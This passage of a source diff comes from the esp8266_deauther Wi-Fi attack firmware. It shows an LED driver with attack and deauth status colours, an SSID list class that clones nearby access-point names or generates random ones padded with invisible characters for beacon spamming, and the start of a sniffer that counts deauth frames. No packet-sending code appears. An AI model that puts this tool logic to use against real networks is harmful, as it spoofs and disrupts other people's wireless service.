sprintf(s,str(L_OUTPUT_A).c_str(), r, g, b);
|
||||
prnt(String(s));
|
||||
}
|
||||
|
||||
// ===== adjustable ===== //
|
||||
if (brightness > 0 && brightness < 100) {
|
||||
if (r > 0 && brightness < 100) r = r * brightness / 100;
|
||||
if (g > 0 && brightness < 100) g = g * brightness / 100;
|
||||
if (b > 0 && brightness < 100) b = b * brightness / 100;
|
||||
}
|
||||
|
||||
if (!LED_CATHODE) {
|
||||
r = 255 - r;
|
||||
g = 255 - g;
|
||||
b = 255 - b;
|
||||
}
|
||||
|
||||
analogWrite(LED_PIN_R, r);
|
||||
analogWrite(LED_PIN_G, g);
|
||||
analogWrite(LED_PIN_B, b);
|
||||
// ====================== //
|
||||
|
||||
// debug output
|
||||
if (output){
|
||||
char s[30];
|
||||
sprintf(s,str(L_OUTPUT_B).c_str(), r?255:0, g?255:0, b?255:0);
|
||||
prnt(String(s));
|
||||
}
|
||||
}
|
||||
|
||||
// customize color codes for different LED modes
|
||||
void RGBLed::setMode(uint8_t mode, bool force) {
|
||||
// ===== adjustable ===== //
|
||||
if (mode != RGBLed::mode || force) {
|
||||
RGBLed::mode = mode;
|
||||
switch (mode) {
|
||||
case LED_MODE_OFF:
|
||||
setColor(0, 0, 0, LED_MODE_BRIGHTNESS, false);
|
||||
break;
|
||||
case LED_MODE_SCAN:
|
||||
if(LED_DYNAMIC_BRIGHTNESS) setColor(0, 0, 255, (uint8_t)(scan.getScaleFactor(100)*scan.getPacketRate()), false); // change color depending on packet rate
|
||||
else setColor(0, 0, 255, LED_MODE_BRIGHTNESS, false);
|
||||
break;
|
||||
case LED_MODE_ATTACK:
|
||||
setColor(255, 255, 0, LED_MODE_BRIGHTNESS, false);
|
||||
break;
|
||||
case LED_MODE_DEAUTH:
|
||||
if(LED_DYNAMIC_BRIGHTNESS) setColor(255, 0, 0, scan.deauths > 255 ? 255 : scan.deauths , false); // brightness depending on how many deauths/s
|
||||
else setColor(255, 0, 0, LED_MODE_BRIGHTNESS, false);
|
||||
break;
|
||||
case LED_MODE_IDLE:
|
||||
setColor(0, 255, 0, LED_MODE_BRIGHTNESS, false);
|
||||
break;
|
||||
}
|
||||
}
|
||||
// ====================== //
|
||||
}
|
||||
|
||||
void RGBLed::tempEnable() {
|
||||
tempEnabled = true;
|
||||
prntln(L_ENABLED);
|
||||
}
|
||||
|
||||
void RGBLed::tempDisable() {
|
||||
tempEnabled = false;
|
||||
prntln(L_DISABLED);
|
||||
}
|
||||
|
||||
bool RGBLed::getTempEnabled() {
|
||||
return tempEnabled;
|
||||
}
|
||||
|
||||
void RGBLed::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
setColor(r, g, b, 100, true);
|
||||
}
|
||||
|
||||
void RGBLed::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness) {
|
||||
setColor(r, g, b, brightness, true);
|
||||
}
|
||||
|
||||
void RGBLed::update() {
|
||||
if (!tempEnabled) return;
|
||||
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
|
||||
|
||||
if (scan.isScanning() && scan.deauths < settings.getMinDeauths()) setMode(LED_MODE_SCAN, false);
|
||||
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE_DEAUTH, false);
|
||||
else if (attack.isRunning()) setMode(LED_MODE_ATTACK, false);
|
||||
else setMode(LED_MODE_IDLE, false);
|
||||
}
|
||||
|
||||
|
||||
|
|
@ -1,42 +0,0 @@
|
|||
#ifndef RGBLed_h
|
||||
#define RGBLed_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include "Settings.h"
|
||||
#include "Attack.h"
|
||||
#include "Scan.h"
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
|
||||
#define LED_MODE_OFF 0
|
||||
#define LED_MODE_SCAN 1
|
||||
#define LED_MODE_ATTACK 2
|
||||
#define LED_MODE_DEAUTH 3
|
||||
#define LED_MODE_IDLE 4
|
||||
|
||||
extern Settings settings;
|
||||
extern Attack attack;
|
||||
extern Scan scan;
|
||||
extern Stations stations;
|
||||
|
||||
class RGBLed {
|
||||
public:
|
||||
RGBLed();
|
||||
void setup();
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness);
|
||||
void setMode(uint8_t mode, bool force);
|
||||
void update();
|
||||
void tempEnable();
|
||||
void tempDisable();
|
||||
bool getTempEnabled();
|
||||
private:
|
||||
uint8_t mode;
|
||||
bool tempEnabled = true;
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output);
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
|
@ -1,301 +1,322 @@
|
|||
#include "SSIDs.h"
|
||||
|
||||
SSIDs::SSIDs() {
|
||||
list = new LinkedList<SSID>;
|
||||
}
|
||||
|
||||
void SSIDs::load() {
|
||||
internal_removeAll();
|
||||
DynamicJsonBuffer jsonBuffer(4000);
|
||||
|
||||
checkFile(FILE_PATH, str(SS_JSON_DEFAULT));
|
||||
JsonObject &obj = parseJSONFile(FILE_PATH, jsonBuffer);
|
||||
JsonArray &arr = obj.get<JsonArray>(str(SS_JSON_SSIDS));
|
||||
|
||||
for (int i = 0; i < arr.size() && i < SSID_LIST_SIZE; i++) {
|
||||
JsonArray &tmpArray = arr.get<JsonVariant>(i);
|
||||
internal_add(tmpArray.get<String>(0), tmpArray.get<bool>(1), tmpArray.get<int>(2));
|
||||
}
|
||||
|
||||
prnt(SS_LOADED);
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
|
||||
void SSIDs::load(String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
FILE_PATH = filepath;
|
||||
load();
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void SSIDs::removeAll() {
|
||||
internal_removeAll();
|
||||
prntln(SS_CLEARED);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::save(bool force) {
|
||||
if (!force && !changed) return;
|
||||
|
||||
String buf = String(); // create buffer
|
||||
buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false,
|
||||
buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) + String(OPEN_BRACKET); // "ssids":[
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
buf = String(); // clear buffer
|
||||
|
||||
String name;
|
||||
int size = list->size();
|
||||
|
||||
for (int i = 0; i < size; i++) {
|
||||
name = escape(getName(i));
|
||||
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // ["name",
|
||||
buf += b2s(getWPA2(i)) + String(COMMA); // false,
|
||||
buf += String(getLen(i)) + String(CLOSE_BRACKET); // 12]
|
||||
if(i<size-1) buf += COMMA; // ,
|
||||
|
||||
if(buf.length() >= 1024){
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
|
||||
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
prnt(SS_SAVED_IN);
|
||||
prntln(FILE_PATH);
|
||||
changed = false;
|
||||
}
|
||||
|
||||
void SSIDs::save(bool force, String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
FILE_PATH = filepath;
|
||||
save(force);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void SSIDs::update() {
|
||||
if (randomMode) {
|
||||
if (currentTime - randomTime > randomInterval*1000) {
|
||||
prntln(SS_RANDOM_INFO);
|
||||
|
||||
for (int i = 0; i < SSID_LIST_SIZE; i++) {
|
||||
SSID newSSID;
|
||||
|
||||
if (check(i)) newSSID = list->get(i);
|
||||
|
||||
newSSID.name = String();
|
||||
newSSID.len = 32;
|
||||
for (int i = 0; i < 32; i++)
|
||||
newSSID.name += char(random(32, 127));
|
||||
|
||||
newSSID.wpa2 = random(0, 2);
|
||||
|
||||
if (check(i)) list->set(i, newSSID);
|
||||
else list->add(newSSID);
|
||||
}
|
||||
|
||||
randomTime = currentTime;
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
String SSIDs::getName(int num) {
|
||||
return check(num) ? list->get(num).name : String();
|
||||
}
|
||||
|
||||
bool SSIDs::getWPA2(int num) {
|
||||
return check(num) ? list->get(num).wpa2 : false;
|
||||
}
|
||||
|
||||
int SSIDs::getLen(int num){
|
||||
return check(num) ? list->get(num).len : 0;
|
||||
}
|
||||
|
||||
void SSIDs::setWPA2(int num, bool wpa2) {
|
||||
SSID newSSID = list->get(num);
|
||||
newSSID.wpa2 = wpa2;
|
||||
list->set(num, newSSID);
|
||||
}
|
||||
|
||||
String SSIDs::getEncStr(int num) {
|
||||
if (getWPA2(num)) return "WPA2";
|
||||
else return "-";
|
||||
}
|
||||
|
||||
void SSIDs::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
internal_remove(num);
|
||||
prnt(SS_REMOVED);
|
||||
prntln(getName(num));
|
||||
changed = true;
|
||||
}
|
||||
|
||||
String SSIDs::randomize(String name) {
|
||||
int ssidlen = name.length();
|
||||
if (ssidlen > 32) name = name.substring(0, 32);
|
||||
if (ssidlen < 32) {
|
||||
for (int i = ssidlen; i < 32; i++) {
|
||||
int rnd = random(3);
|
||||
if (i < 29 && rnd == 0) { // ZERO WIDTH SPACE
|
||||
name += char(0xE2);
|
||||
name += char(0x80);
|
||||
name += char(0x8B);
|
||||
i += 2;
|
||||
} else if (i < 30 && rnd == 1) { // NO-BREAK SPACE
|
||||
name += char(0xC2);
|
||||
name += char(0xA0);
|
||||
i += 1;
|
||||
} else {
|
||||
name += char(0x20); // SPACE
|
||||
}
|
||||
}
|
||||
}
|
||||
return name;
|
||||
}
|
||||
|
||||
void SSIDs::add(String name, bool wpa2, int clones, bool force) {
|
||||
if (list->size() >= SSID_LIST_SIZE) {
|
||||
if (force) {
|
||||
internal_remove(0);
|
||||
} else {
|
||||
prntln(SS_ERROR_FULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE;
|
||||
|
||||
for (int i = 0; i < clones; i++) {
|
||||
internal_add(name, wpa2, name.length());
|
||||
if (list->size() > SSID_LIST_SIZE) internal_remove(0);
|
||||
}
|
||||
|
||||
prnt(SS_ADDED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::cloneSelected(bool force){
|
||||
if(accesspoints.selected() > 0){
|
||||
int clones = SSID_LIST_SIZE;
|
||||
if(!force) clones -= list->size();
|
||||
clones /= accesspoints.selected();
|
||||
|
||||
int apCount = accesspoints.count();
|
||||
for(int i=0;i<apCount;i++){
|
||||
if(accesspoints.getSelected(i))
|
||||
add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool SSIDs::getRandom(){
|
||||
return randomMode;
|
||||
}
|
||||
|
||||
void SSIDs::replace(int num, String name, bool wpa2){
|
||||
if(!check(num)) return;
|
||||
|
||||
int len = name.length();
|
||||
if(len > 32) len = 32;
|
||||
list->set(num,SSID{randomize(name),wpa2,(uint8_t)len});
|
||||
|
||||
prnt(SS_REPLACED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::print(int num) {
|
||||
print(num, true, false);
|
||||
}
|
||||
|
||||
void SSIDs::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
if (header) {
|
||||
prntln(SS_TABLE_HEADER);
|
||||
prntln(SS_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
prnt(buildString(String(), (String)num, 2));
|
||||
prnt(buildString(String(SPACE), getEncStr(num), 5));
|
||||
prntln(buildString(String(SPACE) + getName(num), String(), 33));
|
||||
|
||||
if (footer) prntln(SS_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
void SSIDs::printAll() {
|
||||
prntln(SS_HEADER);
|
||||
if (list->size() == 0)
|
||||
prntln(SS_ERROR_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < list->size(); i++)
|
||||
print(i, i == 0, i == list->size() - 1);
|
||||
}
|
||||
|
||||
int SSIDs::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
bool SSIDs::check(int num) {
|
||||
return num >= 0 && num < list->size();
|
||||
}
|
||||
|
||||
void SSIDs::enableRandom(uint32_t randomInterval) {
|
||||
randomMode = true;
|
||||
SSIDs::randomInterval = randomInterval;
|
||||
prntln(SS_RANDOM_ENABLED);
|
||||
update();
|
||||
}
|
||||
|
||||
void SSIDs::disableRandom() {
|
||||
randomMode = false;
|
||||
internal_removeAll();
|
||||
prntln(SS_RANDOM_DISABLED);
|
||||
}
|
||||
|
||||
void SSIDs::internal_add(String name, bool wpa2, int len) {
|
||||
if(len > 32) {
|
||||
name = name.substring(0,32);
|
||||
len = 32;
|
||||
} else if (len < 32) {
|
||||
name = randomize(name);
|
||||
}
|
||||
|
||||
name = fixUtf8(name);
|
||||
|
||||
SSID newSSID;
|
||||
newSSID.name = name;
|
||||
newSSID.wpa2 = wpa2;
|
||||
newSSID.len = (uint8_t)len;
|
||||
|
||||
list->add(newSSID);
|
||||
}
|
||||
|
||||
void SSIDs::internal_remove(int num) {
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
void SSIDs::internal_removeAll() {
|
||||
list->clear();
|
||||
}
|
||||
|
||||
|
||||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#include "SSIDs.h"
|
||||
|
||||
#include <LittleFS.h>
|
||||
#include "settings.h"
|
||||
|
||||
SSIDs::SSIDs() {
|
||||
list = new SimpleList<SSID>;
|
||||
}
|
||||
|
||||
void SSIDs::load() {
|
||||
internal_removeAll();
|
||||
DynamicJsonBuffer jsonBuffer(4000);
|
||||
|
||||
checkFile(FILE_PATH, str(SS_JSON_DEFAULT));
|
||||
JsonObject& obj = parseJSONFile(FILE_PATH, jsonBuffer);
|
||||
JsonArray & arr = obj.get<JsonArray>(str(SS_JSON_SSIDS));
|
||||
|
||||
for (uint32_t i = 0; i < arr.size() && i < SSID_LIST_SIZE; i++) {
|
||||
JsonArray& tmpArray = arr.get<JsonVariant>(i);
|
||||
internal_add(tmpArray.get<String>(0), tmpArray.get<bool>(1), tmpArray.get<int>(2));
|
||||
}
|
||||
|
||||
prnt(SS_LOADED);
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
|
||||
void SSIDs::load(String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
load();
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void SSIDs::removeAll() {
|
||||
internal_removeAll();
|
||||
prntln(SS_CLEARED);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::save(bool force) {
|
||||
if (!force && !changed) return;
|
||||
|
||||
String buf = String(); // create buffer
|
||||
|
||||
buf += String(OPEN_CURLY_BRACKET) + String(DOUBLEQUOTES) + str(SS_JSON_RANDOM) + String(DOUBLEQUOTES) + String(
|
||||
DOUBLEPOINT) + b2s(randomMode) + String(COMMA); // {"random":false,
|
||||
buf += String(DOUBLEQUOTES) + str(SS_JSON_SSIDS) + String(DOUBLEQUOTES) + String(DOUBLEPOINT) +
|
||||
String(OPEN_BRACKET); // "ssids":[
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
buf = String(); // clear buffer
|
||||
|
||||
String name;
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
name = escape(getName(i));
|
||||
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // ["name",
|
||||
buf += b2s(getWPA2(i)) + String(COMMA); // false,
|
||||
buf += String(getLen(i)) + String(CLOSE_BRACKET); // 12]
|
||||
|
||||
if (i < c - 1) buf += COMMA; // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String(); // clear buffer
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET) + String(CLOSE_CURLY_BRACKET); // ]}
|
||||
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
prnt(SS_SAVED_IN);
|
||||
prntln(FILE_PATH);
|
||||
changed = false;
|
||||
}
|
||||
|
||||
void SSIDs::save(bool force, String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
save(force);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void SSIDs::update() {
|
||||
if (randomMode) {
|
||||
if (currentTime - randomTime > randomInterval * 1000) {
|
||||
prntln(SS_RANDOM_INFO);
|
||||
|
||||
for (int i = 0; i < SSID_LIST_SIZE; i++) {
|
||||
SSID newSSID;
|
||||
|
||||
if (check(i)) newSSID = list->get(i);
|
||||
|
||||
newSSID.name = String();
|
||||
newSSID.len = 32;
|
||||
|
||||
for (int i = 0; i < 32; i++) newSSID.name += char(random(32, 127));
|
||||
|
||||
newSSID.wpa2 = random(0, 2);
|
||||
|
||||
if (check(i)) list->replace(i, newSSID);
|
||||
else list->add(newSSID);
|
||||
}
|
||||
|
||||
randomTime = currentTime;
|
||||
changed = true;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
String SSIDs::getName(int num) {
|
||||
return check(num) ? list->get(num).name : String();
|
||||
}
|
||||
|
||||
bool SSIDs::getWPA2(int num) {
|
||||
return check(num) ? list->get(num).wpa2 : false;
|
||||
}
|
||||
|
||||
int SSIDs::getLen(int num) {
|
||||
return check(num) ? list->get(num).len : 0;
|
||||
}
|
||||
|
||||
void SSIDs::setWPA2(int num, bool wpa2) {
|
||||
SSID newSSID = list->get(num);
|
||||
|
||||
newSSID.wpa2 = wpa2;
|
||||
list->replace(num, newSSID);
|
||||
}
|
||||
|
||||
String SSIDs::getEncStr(int num) {
|
||||
if (getWPA2(num)) return "WPA2";
|
||||
else return "-";
|
||||
}
|
||||
|
||||
void SSIDs::remove(int num) {
|
||||
if (!check(num)) return;
|
||||
|
||||
internal_remove(num);
|
||||
prnt(SS_REMOVED);
|
||||
prntln(getName(num));
|
||||
changed = true;
|
||||
}
|
||||
|
||||
String SSIDs::randomize(String name) {
|
||||
int ssidlen = name.length();
|
||||
|
||||
if (ssidlen > 32) name = name.substring(0, 32);
|
||||
|
||||
if (ssidlen < 32) {
|
||||
for (int i = ssidlen; i < 32; i++) {
|
||||
int rnd = random(3);
|
||||
|
||||
if ((i < 29) && (rnd == 0)) { // ZERO WIDTH SPACE
|
||||
name += char(0xE2);
|
||||
name += char(0x80);
|
||||
name += char(0x8B);
|
||||
i += 2;
|
||||
} else if ((i < 30) && (rnd == 1)) { // NO-BREAK SPACE
|
||||
name += char(0xC2);
|
||||
name += char(0xA0);
|
||||
i += 1;
|
||||
} else {
|
||||
name += char(0x20); // SPACE
|
||||
}
|
||||
}
|
||||
}
|
||||
return name;
|
||||
}
|
||||
|
||||
void SSIDs::add(String name, bool wpa2, int clones, bool force) {
|
||||
if (list->size() >= SSID_LIST_SIZE) {
|
||||
if (force) {
|
||||
internal_remove(0);
|
||||
} else {
|
||||
prntln(SS_ERROR_FULL);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
if (clones > SSID_LIST_SIZE) clones = SSID_LIST_SIZE;
|
||||
|
||||
for (int i = 0; i < clones; i++) {
|
||||
internal_add(clones > 1 ? randomize(name) : name, wpa2, name.length());
|
||||
|
||||
if (list->size() > SSID_LIST_SIZE) internal_remove(0);
|
||||
}
|
||||
|
||||
prnt(SS_ADDED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::cloneSelected(bool force) {
|
||||
if (accesspoints.selected() > 0) {
|
||||
int clones = SSID_LIST_SIZE;
|
||||
|
||||
if (!force) clones -= list->size();
|
||||
clones /= accesspoints.selected();
|
||||
|
||||
int apCount = accesspoints.count();
|
||||
|
||||
for (int i = 0; i < apCount; i++) {
|
||||
if (accesspoints.getSelected(i)) add(accesspoints.getSSID(i), accesspoints.getEnc(i) != 0, clones, force);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool SSIDs::getRandom() {
|
||||
return randomMode;
|
||||
}
|
||||
|
||||
void SSIDs::replace(int num, String name, bool wpa2) {
|
||||
if (!check(num)) return;
|
||||
|
||||
int len = name.length();
|
||||
|
||||
if (len > 32) len = 32;
|
||||
SSID newSSID;
|
||||
|
||||
newSSID.name = randomize(name);
|
||||
newSSID.wpa2 = wpa2;
|
||||
newSSID.len = (uint8_t)len;
|
||||
list->replace(num, newSSID);
|
||||
|
||||
prnt(SS_REPLACED);
|
||||
prntln(name);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
void SSIDs::print(int num) {
|
||||
print(num, true, false);
|
||||
}
|
||||
|
||||
void SSIDs::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
|
||||
if (header) {
|
||||
prntln(SS_TABLE_HEADER);
|
||||
prntln(SS_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
prnt(leftRight(String(), (String)num, 2));
|
||||
prnt(leftRight(String(SPACE), getEncStr(num), 5));
|
||||
prntln(leftRight(String(SPACE) + getName(num), String(), 33));
|
||||
|
||||
if (footer) prntln(SS_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
void SSIDs::printAll() {
|
||||
prntln(SS_HEADER);
|
||||
int c = count();
|
||||
|
||||
if (c == 0) prntln(SS_ERROR_EMPTY);
|
||||
else
|
||||
for (int i = 0; i < c; i++) print(i, i == 0, i == c - 1);
|
||||
}
|
||||
|
||||
int SSIDs::count() {
|
||||
return list->size();
|
||||
}
|
||||
|
||||
bool SSIDs::check(int num) {
|
||||
return num >= 0 && num < count();
|
||||
}
|
||||
|
||||
void SSIDs::enableRandom(uint32_t randomInterval) {
|
||||
randomMode = true;
|
||||
SSIDs::randomInterval = randomInterval;
|
||||
prntln(SS_RANDOM_ENABLED);
|
||||
update();
|
||||
}
|
||||
|
||||
void SSIDs::disableRandom() {
|
||||
randomMode = false;
|
||||
internal_removeAll();
|
||||
prntln(SS_RANDOM_DISABLED);
|
||||
}
|
||||
|
||||
void SSIDs::internal_add(String name, bool wpa2, int len) {
|
||||
if (len > 32) {
|
||||
name = name.substring(0, 32);
|
||||
len = 32;
|
||||
}
|
||||
|
||||
name = fixUtf8(name);
|
||||
|
||||
SSID newSSID;
|
||||
|
||||
newSSID.name = name;
|
||||
newSSID.wpa2 = wpa2;
|
||||
newSSID.len = (uint8_t)len;
|
||||
|
||||
list->add(newSSID);
|
||||
}
|
||||
|
||||
void SSIDs::internal_remove(int num) {
|
||||
list->remove(num);
|
||||
}
|
||||
|
||||
void SSIDs::internal_removeAll() {
|
||||
list->clear();
|
||||
}
|
|
@ -1,85 +1,84 @@
|
|||
#ifndef SSIDs_h
|
||||
#define SSIDs_h
|
||||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
#include "FS.h"
|
||||
#include <ArduinoJson.h>
|
||||
#include "LinkedList.h"
|
||||
#include "Settings.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "src/ArduinoJson-v5.13.5/ArduinoJson.h"
|
||||
#include "language.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Accesspoints.h"
|
||||
|
||||
#define SSID_LIST_SIZE 60
|
||||
|
||||
extern Settings settings;
|
||||
|
||||
extern uint32_t currentTime;
|
||||
extern Accesspoints accesspoints;
|
||||
|
||||
extern void checkFile(String path, String data);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer &jsonBuffer);
|
||||
extern bool appendFile(String path, String &buf);
|
||||
extern bool writeFile(String path, String &buf);
|
||||
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool writeFile(String path, String& buf);
|
||||
extern void readFileToSerial(String path);
|
||||
extern String fixUtf8(String str);
|
||||
extern String buildString(String left, String right, int maxLen);
|
||||
extern String leftRight(String a, String b, int len);
|
||||
extern String escape(String str);
|
||||
|
||||
class SSIDs {
|
||||
public:
|
||||
SSIDs();
|
||||
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force, String filepath);
|
||||
void update();
|
||||
public:
|
||||
SSIDs();
|
||||
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void add(String name, bool wpa2, int clones, bool force);
|
||||
void cloneSelected(bool force);
|
||||
void remove(int num);
|
||||
void enableRandom(uint32_t randomInterval);
|
||||
void disableRandom();
|
||||
bool getRandom();
|
||||
|
||||
String getName(int num);
|
||||
bool getWPA2(int num);
|
||||
String getEncStr(int num);
|
||||
int getLen(int num);
|
||||
void load();
|
||||
void load(String filepath);
|
||||
void save(bool force);
|
||||
void save(bool force, String filepath);
|
||||
void update();
|
||||
|
||||
void setWPA2(int num, bool wpa2);
|
||||
void replace(int num, String name, bool wpa2);
|
||||
|
||||
void printAll();
|
||||
void removeAll();
|
||||
|
||||
int count();
|
||||
private:
|
||||
bool changed = false;
|
||||
bool randomMode = false;
|
||||
uint32_t randomInterval = 2000;
|
||||
uint32_t randomTime = 0;
|
||||
|
||||
struct SSID{
|
||||
String name; // SSID
|
||||
bool wpa2; // WPA2 encrypted or not
|
||||
uint8_t len; // original length (before editing it to be 32 characters)
|
||||
};
|
||||
|
||||
String FILE_PATH = "/ssids.json";
|
||||
|
||||
LinkedList<SSID>* list;
|
||||
void print(int num);
|
||||
void print(int num, bool header, bool footer);
|
||||
void add(String name, bool wpa2, int clones, bool force);
|
||||
void cloneSelected(bool force);
|
||||
void remove(int num);
|
||||
void enableRandom(uint32_t randomInterval);
|
||||
void disableRandom();
|
||||
bool getRandom();
|
||||
|
||||
bool check(int num);
|
||||
String randomize(String name);
|
||||
String getName(int num);
|
||||
bool getWPA2(int num);
|
||||
String getEncStr(int num);
|
||||
int getLen(int num);
|
||||
|
||||
void internal_add(String name, bool wpa2, int add);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
||||
void setWPA2(int num, bool wpa2);
|
||||
void replace(int num, String name, bool wpa2);
|
||||
|
||||
#endif
|
||||
void printAll();
|
||||
void removeAll();
|
||||
|
||||
int count();
|
||||
|
||||
|
||||
private:
|
||||
bool changed = false;
|
||||
bool randomMode = false;
|
||||
uint32_t randomInterval = 2000;
|
||||
uint32_t randomTime = 0;
|
||||
|
||||
struct SSID {
|
||||
String name; // SSID
|
||||
bool wpa2; // WPA2 encrypted or not
|
||||
uint8_t len; // original length (before editing it to be 32 characters)
|
||||
};
|
||||
|
||||
String FILE_PATH = "/ssids.json";
|
||||
|
||||
SimpleList<SSID>* list;
|
||||
|
||||
bool check(int num);
|
||||
String randomize(String name);
|
||||
|
||||
void internal_add(String name, bool wpa2, int add);
|
||||
void internal_remove(int num);
|
||||
void internal_removeAll();
|
||||
};
|
|
@ -1,398 +1,453 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#include "Scan.h"
|
||||
|
||||
#include "settings.h"
|
||||
#include "wifi.h"
|
||||
|
||||
Scan::Scan() {
|
||||
list = new LinkedList<uint16_t>;
|
||||
list = new SimpleList<uint16_t>;
|
||||
}
|
||||
|
||||
void Scan::sniffer(uint8_t* buf, uint16_t len) {
|
||||
if (!isSniffing()) return;
|
||||
if (!isSniffing()) return;
|
||||
|
||||
packets++;
|
||||
|
||||
if (len < 28) return; // drop frames that are too short to have a valid MAC header
|
||||
packets++;
|
||||
|
||||
if (buf[12] == 0xc0 || buf[12] == 0xa0) {
|
||||
tmpDeauths++;
|
||||
return;
|
||||
}
|
||||
|
||||
// drop beacon frames, probe requests/responses and deauth/disassociation frames
|
||||
if (buf[12] == 0x80 || buf[12] == 0x40 || buf[12] == 0x50/* || buf[12] == 0xc0 || buf[12] == 0xa0*/) return;
|
||||
if (len < 28) return; // drop frames that are too short to have a valid MAC header
|
||||
|
||||
// only allow data frames
|
||||
// if(buf[12] != 0x08 && buf[12] != 0x88) return;
|
||||
|
||||
uint8_t* macTo = &buf[16];
|
||||
uint8_t* macFrom = &buf[22];
|
||||
|
||||
if (macBroadcast(macTo) || macBroadcast(macFrom) || !macValid(macTo) || !macValid(macFrom) || macMulticast(macTo) || macMulticast(macFrom)) return;
|
||||
|
||||
int16_t accesspointNum = findAccesspoint(macFrom);
|
||||
